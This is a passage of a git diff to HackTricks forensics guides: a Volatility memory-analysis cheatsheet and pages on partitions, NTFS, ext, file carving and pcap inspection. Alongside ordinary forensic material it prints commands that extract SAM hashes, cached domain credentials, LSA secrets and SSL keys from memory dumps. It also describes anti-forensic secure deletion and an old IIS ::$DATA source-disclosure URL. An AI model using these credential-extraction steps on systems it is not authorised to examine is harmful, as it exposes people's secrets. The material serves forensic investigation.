KDBGHeader signatures linked to Volatility profiles and applies sanity checks to reduce false positives. The verbosity of the output and number of sanity checks that can be performed depends on whether Volatility can find a DTB, so if you already know the correct profile (or if you have a profile suggestion from imageinfo), then make sure you use it (from [here](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/)). @@ -136,11 +134,11 @@ PsActiveProcessHead : 0xfffff800011947f0 (0 processes) PsLoadedModuleList : 0xfffff80001197ac0 (0 modules) ``` -#### KDBG +### KDBG The **kernel debugger block** (named KdDebuggerDataBlock of the type \_KDDEBUGGER\_DATA64, or **KDBG** by volatility) is important for many things that Volatility and debuggers do. For example, it has a reference to the PsActiveProcessHead which is the list head of all processes required for process listing. -## OS Information +# OS Information ```bash #vol3 has a plugin to give OS information (note that imageinfo from vol2 will give you OS info) @@ -149,7 +147,7 @@ The **kernel debugger block** (named KdDebuggerDataBlock of the type \_KDDEBUGGE The plugin `banners.Banners` can be used in **vol3 to try to find linux banners** in the dump. -## Hashes/Passwords +# Hashes/Passwords Extract SAM hashes, [domain cached credentials](../../../windows/stealing-credentials/credentials-protections.md#cached-credentials) and [lsa secrets](../../../windows/authentication-credentials-uac-and-efs.md#lsa-secrets). @@ -171,7 +169,7 @@ volatility --profile=Win7SP1x86_23418 lsadump -f file.dmp #Grab lsa secrets {% endtab %} {% endtabs %} -## Memory Dump +# Memory Dump The memory dump of a process will **extract everything** of the current status of the process. The **procdump** module will only **extract** the **code**. @@ -179,9 +177,9 @@ The memory dump of a process will **extract everything** of the current status o volatility -f file.dmp --profile=Win7SP1x86 memdump -p 2168 -D conhost/ ``` -## Processes +# Processes -### List processes +## List processes Try to find **suspicious** processes (by name) or **unexpected** child **processes** (for example a cmd.exe as a child of iexplorer.exe).\ It could be interesting to **compare** the result of pslist with the one of psscan to identify hidden processes. @@ -205,7 +203,7 @@ volatility --profile=PROFILE psxview -f file.dmp # Get hidden process list {% endtab %} {% endtabs %} -### Dump proc +## Dump proc {% tabs %} {% tab title="vol3" %} @@ -221,7 +219,7 @@ volatility --profile=Win7SP1x86_23418 procdump --pid=3152 -n --dump-dir=. -f fil {% endtab %} {% endtabs %} -### Command line +## Command line Anything suspicious was executed? @@ -242,7 +240,7 @@ volatility --profile=PROFILE consoles -f file.dmp #command history by scanning f Commands entered into cmd.exe are processed by **conhost.exe** (csrss.exe prior to Windows 7). So even if an attacker managed to **kill the cmd.exe** **prior** to us obtaining a memory **dump**, there is still a good chance of **recovering history** of the command line session from **conhost.exe’s memory**. If you find **something weird** (using the consoles modules), try to **dump** the **memory** of the **conhost.exe associated** process and **search** for **strings** inside it to extract the command lines. -### Environment +## Environment Get the env variables of each running process. There could be some interesting values. @@ -262,7 +260,7 @@ volatility --profile=PROFILE -f file.dmp linux_psenv [-p ] #Get env of proc {% endtab %} {% endtabs %} -### Token privileges +## Token privileges Check for privileges tokens in unexpected services.\ It could be interesting to list the processes using some privileged token. @@ -287,7 +285,7 @@ volatility --profile=Win7SP1x86_23418 privs -f file.dmp | grep "SeImpersonatePri {% endtab %} {% endtabs %} -### SIDs +## SIDs Check each SSID owned by a process.\ It could be interesting to list the processes using a privileges SID (and the processes using some service SID). @@ -308,7 +306,7 @@ volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp #Get the SID of {% endtab %} {% endtabs %} -### Handles +## Handles Useful to know to which other files, keys, threads, processes... a **process has a handle** for (has opened) @@ -326,7 +324,7 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp handles [--pid=] {% endtab %} {% endtabs %} -### DLLs +## DLLs {% tabs %} {% tab title="vol3" %} @@ -345,7 +343,7 @@ volatility --profile=Win7SP1x86_23418 dlldump --pid=3152 --dump-dir=. -f file.dm {% endtab %} {% endtabs %} -### Strings per processes +## Strings per processes Volatility allows to check to which process does a string belongs to. @@ -385,7 +383,7 @@ volatility --profile=Win7SP1x86_23418 yarascan -Y "https://" -p 3692,3840,3976,3 {% endtab %} {% endtabs %} -### UserAssist +## UserAssist **Windows** systems maintain a set of **keys** in the registry database (**UserAssist keys**) to keep track of programs that executed. The number of executions and last execution date and time are available in these **keys**. @@ -403,7 +401,7 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp userassist {% endtab %} {% endtabs %} -## Services +# Services {% tabs %} {% tab title="vol3" %} @@ -423,7 +421,7 @@ volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp {% endtab %} {% endtabs %} -## Network +# Network {% tabs %} {% tab title="vol3" %} @@ -451,9 +449,9 @@ volatility --profile=SomeLinux -f file.dmp linux_route_cache {% endtab %} {% endtabs %} -## Registry hive +# Registry hive -### Print available hives +## Print available hives {% tabs %} {% tab title="vol3" %} @@ -471,7 +469,7 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp printkey #List roots and get i {% endtab %} {% endtabs %} -### Get a value +## Get a value {% tabs %} {% tab title="vol3" %} @@ -489,7 +487,7 @@ volatility -f file.dmp --profile=Win7SP1x86 printkey -o 0x9670e9d0 -K 'Software\ {% endtab %} {% endtabs %} -### Dump +## Dump ```bash #Dump a hive @@ -498,9 +496,9 @@ volatility --profile=Win7SP1x86_23418 hivedump -o 0x9aad6148 -f file.dmp #Offset volatility --profile=Win7SP1x86_23418 hivedump -f file.dmp ``` -## Filesystem +# Filesystem -### Mount +## Mount {% tabs %} {% tab title="vol3" %} @@ -517,7 +515,7 @@ volatility --profile=SomeLinux -f file.dmp linux_recover_filesystem #Dump the en {% endtab %} {% endtabs %} -### Scan/dump +## Scan/dump {% tabs %} {% tab title="vol3" %} @@ -540,7 +538,7 @@ volatility --profile=SomeLinux -f file.dmp linux_find_file -i 0xINODENUMBER -O / {% endtab %} {% endtabs %} -### Master File Table +## Master File Table {% tabs %} {% tab title="vol3" %} @@ -558,7 +556,7 @@ volatility --profile=Win7SP1x86_23418 mftparser -f file.dmp The NTFS file system contains a file called the _master file table_, or MFT. There is at least one entry in the MFT for every file on an NTFS file system volume, including the MFT itself. **All information about a file, including its size, time and date stamps, permissions, and data content**, is stored either in MFT entries, or in space outside the MFT that is described by MFT entries. From [here](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table). -### SSL Keys/Certs +## SSL Keys/Certs {% tabs %} {% tab title="vol3" %} @@ -577,7 +575,7 @@ volatility --profile=Win7SP1x86_23418 dumpcerts --dump-dir=. -f file.dmp {% endtab %} {% endtabs %} -## Malware +# Malware {% tabs %} {% tab title="vol3" %} @@ -615,7 +613,7 @@ volatility --profile=SomeLinux -f file.dmp linux_keyboard_notifiers #Keyloggers {% endtab %} {% endtabs %} -### Scanning with yara +## Scanning with yara Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ Create the _**rules**_ directory and execute it. This will create a file called _**malware\_rules.yar**_ which contains all the yara rules for malware. @@ -643,9 +641,9 @@ volatility --profile=Win7SP1x86_23418 yarascan -y malware_rules.yar -f ch2.dmp | {% endtab %} {% endtabs %} -## MISC +# MISC -### External plugins +## External plugins If you want to use an external plugins make sure that the plugins related folder is the first parameter used. @@ -663,7 +661,7 @@ If you want to use an external plugins make sure that the plugins related folder {% endtab %} {% endtabs %} -#### Autoruns +### Autoruns Download it from [https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns) @@ -671,7 +669,7 @@ Download it from [https://github.com/tomchop/volatility-autoruns](https://github volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns ``` -### Mutexes +## Mutexes {% tabs %} {% tab title="vol3" %} @@ -688,7 +686,7 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp handles -p -t mutant {% endtab %} {% endtabs %} -### Symlinks +## Symlinks {% tabs %} {% tab title="vol3" %} @@ -704,7 +702,7 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp symlinkscan {% endtab %} {% endtabs %} -### Bash +## Bash It's possible to **read from memory the bash history.** You could also dump the _.bash\_history_ file, but it was disabled you will be glad you can use this volatility module @@ -722,7 +720,7 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp linux_bash {% endtab %} {% endtabs %} -### TimeLine +## TimeLine {% tabs %} {% tab title="vol3" %} @@ -738,7 +736,7 @@ volatility --profile=Win7SP1x86_23418 -f timeliner {% endtab %} {% endtabs %} -### Drivers +## Drivers {% tabs %} {% tab title="vol3" %} @@ -754,35 +752,35 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp driverscan {% endtab %} {% endtabs %} -### Get clipboard +## Get clipboard ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 clipboard -f file.dmp ``` -### Get IE history +## Get IE history ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 iehistory -f file.dmp ``` -### Get notepad text +## Get notepad text ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 notepad -f file.dmp ``` -### Screenshot +## Screenshot ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 screenshot -f file.dmp ``` -### Master Boot Record (MBR) +## Master Boot Record (MBR) ``` volatility --profile=Win7SP1x86_23418 mbrparser -f file.dmp diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md index f01c56de..65f8d2fe 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -16,14 +16,13 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## Partitions/File Systems/Carving -### Partitions +# Partitions A hard drive or a **SSD disk can contain different partitions** with the goal of separating data physically.\ The **minimum** unit of a disk is the **sector** (normally composed by 512B). So, each partition size needs to be multiple of that size. -#### MBR (master Boot Record) +## MBR (master Boot Record) It's allocated in the **first sector of the disk after the 446B of the boot code**. This sector is essential to indicate the PC what and from where a partition should be mounted.\ It allows up to **4 partitions** (at most **just 1** can be active/**bootable**). However, if you need more partitions you can use **extended partitions**.. The **final byte** of this first sector is the boot record signature **0x55AA**. Only one partition can be marked as active.\ @@ -80,7 +79,7 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ **Logical block addressing** (**LBA**) is a common scheme used for **specifying the location of blocks** of data stored on computer storage devices, generally secondary storage systems such as hard disk drives. LBA is a particularly simple linear addressing scheme; **blocks are located by an integer index**, with the first block being LBA 0, the second LBA 1, and so on. -#### GPT (GUID Partition Table) +## GPT (GUID Partition Table) It’s called GUID Partition Table because every partition on your drive has a **globally unique identifier**. @@ -142,7 +141,7 @@ The partition table header defines the usable blocks on the disk. It also define More partition types in [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) -#### Inspecting +## Inspecting After mounting the forensics image with [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), you can inspect the first sector using the Windows tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In the following image a **MBR** was detected on the **sector 0** and interpreted: @@ -150,9 +149,9 @@ After mounting the forensics image with [**ArsenalImageMounter**](https://arsena If it was a **GPT table instead of a MBR** it should appear the signature _EFI PART_ in the **sector 1** (which in the previous image is empty). -### File-Systems +# File-Systems -#### Windows file-systems list +## Windows file-systems list * **FAT12/16**: MSDOS, WIN95/98/NT/200 * **FAT32**: 95/2000/XP/2003/VISTA/7/8/10 @@ -160,7 +159,7 @@ If it was a **GPT table instead of a MBR** it should appear the signature _EFI P * **NTFS**: XP/2003/2008/2012/VISTA/7/8/10 * **ReFS**: 2012/2016 -#### FAT +## FAT The **FAT (File Allocation Table)** file system is named for its method of organization, the file allocation table, which resides at the beginning of the volume. To protect the volume, **two copies** of the table are kept, in case one becomes damaged. In addition, the file allocation tables and the root folder must be stored in a **fixed location** so that the files needed to start the system can be correctly located. @@ -184,13 +183,13 @@ The **root directory** occupies a **specific position** for both FAT12 and FAT16 When a file is "deleted" using a FAT file system, the directory entry remains almost **unchanged** except for the **first character of the file name** (modified to 0xE5), preserving most of the "deleted" file's name, along with its time stamp, file length and — most importantly — its physical location on the disk. The list of disk clusters occupied by the file will, however, be erased from the File Allocation Table, marking those sectors available for use by other files created or modified thereafter. In case of FAT32, it is additionally erased field responsible for upper 16 bits of file start cluster value. -#### **NTFS** +## **NTFS** {% content-ref url="ntfs.md" %} [ntfs.md](ntfs.md) {% endcontent-ref %} -#### EXT +## EXT **Ext2** is the most common file-system for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**. @@ -198,7 +197,7 @@ When a file is "deleted" using a FAT file system, the directory entry remains al [ext.md](ext.md) {% endcontent-ref %} -### **Metadata** +# **Metadata** Some files contains metadata. This is information about the content of the file which sometimes might be interesting for the analyst as depending on the file-type it might have information like: @@ -212,9 +211,9 @@ Some files contains metadata. This is information about the content of the file You can use tools like [**exiftool**](https://exiftool.org) and [**Metadiver**](https://www.easymetadata.com/metadiver-2/) to get the metadata of a file. -### **Deleted Files Recovery** +# **Deleted Files Recovery** -#### Logged Deleted Files +## Logged Deleted Files As it was seen before there are several places where the file is still saved after it was "deleted". This is because usually the deletion of a file from a file-system just mark it as deleted but the data isn't touched. Then, it's possible to inspect the registries of the files (like the MFT) and find the deleted files. @@ -224,7 +223,7 @@ Also, the OS usually saves a lot of information about file system changes and ba [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) {% endcontent-ref %} -#### **File Carving** +## **File Carving** **File carving** is a technique that tries to **find files in a bulk of data**. There are 3 main ways tools like this works: **Based on file types headers and footers**, based on file types **structures** and based on the **content** itself. @@ -236,7 +235,7 @@ There are several tools that you can use for file Carving indicating them the fi [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) {% endcontent-ref %} -#### Data Stream **C**arving +## Data Stream **C**arving Data Stream Carving is similar to File Carving but i**nstead of looking for complete files, it looks for interesting fragments** of information.\ For example, instead of looking for a complete file containing logged URLs, this technique will search for URLs. @@ -245,12 +244,12 @@ For example, instead of looking for a complete file containing logged URLs, this [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) {% endcontent-ref %} -#### Secure Deletion +## Secure Deletion Obviously, there are ways to **"securely" delete files and part of logs about them**. For example, it's possible to **overwrite the content** of a file with junk data several times, and then **remove** the **logs** from the **$MFT** and **$LOGFILE** about the file, and **remove the Volume Shadow Copies**.\ You may notice that even performing that action there might be **other parts where the existence of the file is still logged**, and that's true and part of the forensics professional job is to find them. -### References +# References * [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) * [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/ext.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/ext.md index 04bb309c..1073b1b2 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/ext.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/ext.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# EXT - -## Ext - Extended Filesystem +# Ext - Extended Filesystem **Ext2** is the most common filesystem for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**. @@ -36,7 +34,7 @@ Every block group contains the following pieces of information: ![](<../../../.gitbook/assets/image (406).png>) -### Ext Optional Features +## Ext Optional Features **Features affect where** the data is located, **how** the data is stored in inodes and some of them might supply **additional metadata** for analysis, therefore features are important in Ext. @@ -54,7 +52,7 @@ Suspected attacker might have non-standard extensions **Any utility** that reads the **superblock** will be able to indicate the **features** of a **Ext filesystem**, but you could also use `file -sL /dev/sd*` -### Superblock +## Superblock The superblock is the first 1024 bytes from the start, it's repeated in the first block of each group and contains: @@ -80,7 +78,7 @@ fsstat -o /pat/to/filesystem-file.ext You can also use the free gui application: [https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html)\ Or you can also use **python** to obtain the superblock information: [https://pypi.org/project/superblock/](https://pypi.org/project/superblock/) -### inodes +## inodes The **inodes** contain the list of **blocks** that **contains** the actual **data** of a **file**.\ If the file is big, and inode **may contain pointers** to **other inodes** that points to the blocks/more inodes containing the file data. @@ -233,7 +231,7 @@ getfattr file.txt #Get extended attribute names of a file getdattr -n 'user.secret' file.txt #Get extended attribute called "user.secret" ``` -### Filesystem View +## Filesystem View In order to see the contents of the file system you can **use the free tool**: [https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html)\ Or you can mount it in your linux using `mount` command. diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index a83a5c61..965d216d 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -17,17 +17,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# File/Data Carving & Recovery Tools - -## Carving & Recovery tools +# Carving & Recovery tools More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) -### Autopsy +## Autopsy The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kind of images, but not simple files. -### Binwalk +## Binwalk **Binwalk** is a tool for searching binary files like images and audio files for embedded files and data.\ It can be installed with `apt` however the [source](https://github.com/ReFirmLabs/binwalk) can be found on github.\ @@ -40,7 +38,7 @@ binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` -### Foremost +## Foremost Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for it's default configured file types. @@ -50,7 +48,7 @@ foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` -### **Scalpel** +## **Scalpel** **Scalpel** is another tool that can be use to find and extract **files embedded in a file**. In this case you will need to uncomment from the configuration file (_/etc/scalpel/scalpel.conf_) the file types you want it to extract. @@ -59,7 +57,7 @@ sudo apt-get install scalpel scalpel file.img -o output ``` -### Bulk Extractor +## Bulk Extractor This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) @@ -71,7 +69,7 @@ bulk_extractor memory.img -o out_folder Navigate through **all the information** that the tool has gathered (passwords?), **analyse** the **packets** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **weird domains** (domains related to **malware** or **non-existent**). -### PhotoRec +## PhotoRec You can find it in [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) @@ -79,11 +77,11 @@ It comes with GUI and CLI version. You can select the **file-types** you want Ph ![](<../../../.gitbook/assets/image (524).png>) -### binvis +## binvis Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/). -#### Features of BinVis +### Features of BinVis * visual and active **structure viewer** * multiple plots for different focus points @@ -96,15 +94,15 @@ Check the [code](https://code.google.com/archive/p/binvis/) and the [web page to BinVis is a great **start-point to get familiar with an unknown target** in a black-boxing scenario. -## Specific Data Carving Tools +# Specific Data Carving Tools -### FindAES +## FindAES Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. Download [here](https://sourceforge.net/projects/findaes/). -## Complementary tools +# Complementary tools You can use [**viu** ](https://github.com/atanunq/viu)to see images form the terminal.\ You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md index 57eef632..4ad66a0d 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md @@ -17,15 +17,13 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# File/Data Carving Tools +# Carving tools -## Carving tools - -### Autopsy +## Autopsy The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kind of images, but not simple files. -### Binwalk +## Binwalk **Binwalk** is a tool for searching binary files like images and audio files for embedded files and data. It can be installed with `apt` however the [source](https://github.com/ReFirmLabs/binwalk) can be found on github. @@ -38,7 +36,7 @@ binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` -### Foremost +## Foremost Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for it's default configured file types. @@ -48,7 +46,7 @@ foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` -### **Scalpel** +## **Scalpel** **Scalpel** is another tool that can be use to find and extract **files embedded in a file**. In this case you will need to uncomment from the configuration file \(_/etc/scalpel/scalpel.conf_\) the file types you want it to extract. @@ -57,7 +55,7 @@ sudo apt-get install scalpel scalpel file.img -o output ``` -### Bulk Extractor +## Bulk Extractor This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk_extractor) @@ -69,7 +67,7 @@ bulk_extractor memory.img -o out_folder Navigate through **all the information** that the tool has gathered \(passwords?\), **analyse** the **packets** \(read[ **Pcaps analysis**](../pcap-inspection/)\), search for **weird domains** \(domains related to **malware** or **non-existent**\). -### PhotoRec +## PhotoRec You can find it in [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) @@ -77,15 +75,15 @@ It comes with GUI and CLI version. You can select the **file-types** you want Ph ![](../../../.gitbook/assets/image%20%28524%29.png) -## Specific Data Carving Tools +# Specific Data Carving Tools -### FindAES +## FindAES Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. Download [here](https://sourceforge.net/projects/findaes/). -## Complementary tools +# Complementary tools You can use [**viu** ](https://github.com/atanunq/viu)to see images form the terminal. You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md index 85bb83c7..00252bd9 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md @@ -16,9 +16,8 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## NTFS -### **NTFS** +# **NTFS** **NTFS** (**New Technology File System**) is a proprietary journaling file system developed by Microsoft. @@ -35,17 +34,17 @@ The cluster is the minimum size unit of NTFS and the size of the cluster depends | 16,385MB-32,768MB (32GB) | 64 | 32KB | | Greater than 32,768MB | 128 | 64KB | -#### **Slack-Space** +## **Slack-Space** As the **minimum** size unit of NTFS is a **cluster**. Each file will be occupying a number of complete clusters. Then, it's highly probable that **each file occupies more space than necessary**. These **unused** **spaces** **booked** by a file which is called **slacking** **space**. And people could take advantage of this technique to **hide** **information**. ![](<../../../.gitbook/assets/image (498).png>) -#### **NTFS boot sector** +## **NTFS boot sector** When you format an NTFS volume, the format program allocates the first 16 sectors for the $Boot metadata file. First sector, in fact, is a boot sector with a "bootstrap" code and the following 15 sectors are the boot sector's IPL (initial program loader). To increase file system reliability the very last sector an NTFS partition contains a spare copy of the boot sector. -#### **Master File Table o $MFT** +## **Master File Table o $MFT** The NTFS file system contains a file called the _master file table_, or MFT. There is at least **one entry in the MFT for every file on an NTFS file system** volume, including the MFT itself. All information about a file, including its **size, time and date stamps, permissions, and data content**, is stored either in MFT entries, or in space outside the MFT that is described by MFT entries. @@ -78,7 +77,7 @@ NTFS reserves the first 16 records of the table for special information: | Object Id file | $ObjId | 25 | Contains file object IDs. | | Reparse point file | $Reparse | 26 | This file contains information about files and folders on the volume include reparse point data. | -#### Each entry of the MFT looks like the following: +## Each entry of the MFT looks like the following: ![](<../../../.gitbook/assets/image (499).png>) @@ -98,7 +97,7 @@ It's also possible to recover deleted files using FTKImager: ![](<../../../.gitbook/assets/image (502).png>) -#### MFT Attributes +## MFT Attributes Each MFT entry has several attributes as the following image indicates: @@ -156,7 +155,7 @@ Some interesting attributes: ![](<../../../.gitbook/assets/image (509).png>) -#### NTFS timestamps +## NTFS timestamps ![](<../../../.gitbook/assets/image (512).png>) @@ -165,7 +164,7 @@ This program will extract all the MFT data and present it in CSV format. It can ![](<../../../.gitbook/assets/image (513).png>) -#### $LOGFILE +## $LOGFILE The file **`$LOGFILE`** contains **logs** about the **actions** that have been **performed** **to** **files**. It also **saves** the **action** it would need to perform in case of a **redo** and the action needed to **go back** to the **previous** **state**.\ These logs are useful for the MFT to rebuild the file system in case some kind of error happened. @@ -181,7 +180,7 @@ Filtering by filenames you can see **all the actions performed against a file**: ![](<../../../.gitbook/assets/image (514).png>) -#### $USNJnrl +## $USNJnrl The file `$EXTEND/$USNJnrl/$J` is and alternate data stream of the file `$EXTEND$USNJnrl` . This artifact contains a **registry of changes produced inside the NTFS volume with more detail than `$LOGFILE`**. @@ -191,7 +190,7 @@ Filtering by the filename it's possible to see **all the actions performed again ![](<../../../.gitbook/assets/image (516).png>) -#### $I30 +## $I30 Every **directory** in the file system contains an **`$I30`** **attribute** that must be maintained whenever there are changes to the directory's contents. When files or folders are removed from the directory, the **`$I30`** index records are re-arranged accordingly. However, **re-arranging of the index records may leave remnants of the deleted file/folder entry within the slack space**. This can be useful in forensics analysis for identifying files that may have existed on the drive. @@ -201,13 +200,13 @@ You can get the `$I30` file of a directory from the **FTK Imager** and inspect i With this data you can find **information about the file changes performed inside the folder** but note that the deletion time of a file isn't saved inside this logs. However, you can see that **last modified date** of the **`$I30` file**, and if the **last action performed** over the directory is the **deletion** of a file, the times may be the same. -#### $Bitmap +## $Bitmap The **`$BitMap`** is a special file within the NTFS file system. This file keeps **track of all of the used and unused clusters** on an NTFS volume. When a file takes up space on the NTFS volume the location is uses is marked out in the `$BitMap`. ![](<../../../.gitbook/assets/image (523).png>) -#### ADS (Alternate Data Stream) +## ADS (Alternate Data Stream) Alternate data streams allow files to contain more than one stream of data. Every file has at least one data stream. In Windows, this default data stream is called `:$DATA`.\ In this [page you can see different ways to create/access/discover alternate data streams](../../../windows/basic-cmd-for-pentesters.md#alternate-data-streams-cheatsheet-ads-alternate-data-stream) from the console. In the past this cause a vulnerability in IIS as people was able to access the source code of a page by accessing the `:$DATA` stream like `http://www.alternate-data-streams.com/default.asp::$DATA`. diff --git a/forensics/basic-forensic-methodology/pcap-inspection/README.md b/forensics/basic-forensic-methodology/pcap-inspection/README.md index e574f15d..76f83dc5 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/README.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/README.md @@ -16,23 +16,22 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## Pcap Inspection {% hint style="info" %} A note about **PCAP** vs **PCAPNG**: there are two versions of the PCAP file format; **PCAPNG is newer and not supported by all tools**. You may need to convert a file from PCAPNG to PCAP using Wireshark or another compatible tool, in order to work with it in some other tools. {% endhint %} -### Online tools for pcaps +# Online tools for pcaps * If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) * Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com) * Search for **malicious activity** using [**www.virustotal.com**](https://www.virustotal.com) and [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) -### Extract Information +# Extract Information The following tools are useful to extract statistic, files... -#### Wireshark +## Wireshark {% hint style="info" %} **If you are going to analyze a PCAP you basically must to know how to use Wireshark** @@ -44,7 +43,7 @@ You can find some Wireshark trick in: [wireshark-tricks.md](wireshark-tricks.md) {% endcontent-ref %} -#### Xplico Framework +## Xplico Framework [**Xplico** ](https://github.com/xplico/xplico)_(only linux)_ can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on. @@ -68,19 +67,19 @@ Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_ Then create a **new case**, create a **new session** inside the case and **upload the pcap** file. -#### NetworkMiner +## NetworkMiner Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download** [**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**.\ This tool is also useful to get **other information analysed** from the packets in order to be able to know what was happening there in a **quick** way. -#### NetWitness Investigator +## NetWitness Investigator You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(It works in Windows)**.\ This is another useful tool that **analyse the packets** and sort the information in a useful way to **know what is happening inside**. ![](<../../../.gitbook/assets/image (567) (1).png>) -#### [BruteShark](https://github.com/odedshimon/BruteShark) +## [BruteShark](https://github.com/odedshimon/BruteShark) * Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP...) * Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) @@ -89,13 +88,13 @@ This is another useful tool that **analyse the packets** and sort the informatio * Reconstruct all TCP & UDP Sessions * File Carving -#### Capinfos +## Capinfos ``` capinfos capture.pcap ``` -#### Ngrep +## Ngrep If you are **looking** for **something** inside the pcap you can use **ngrep**. And example using the 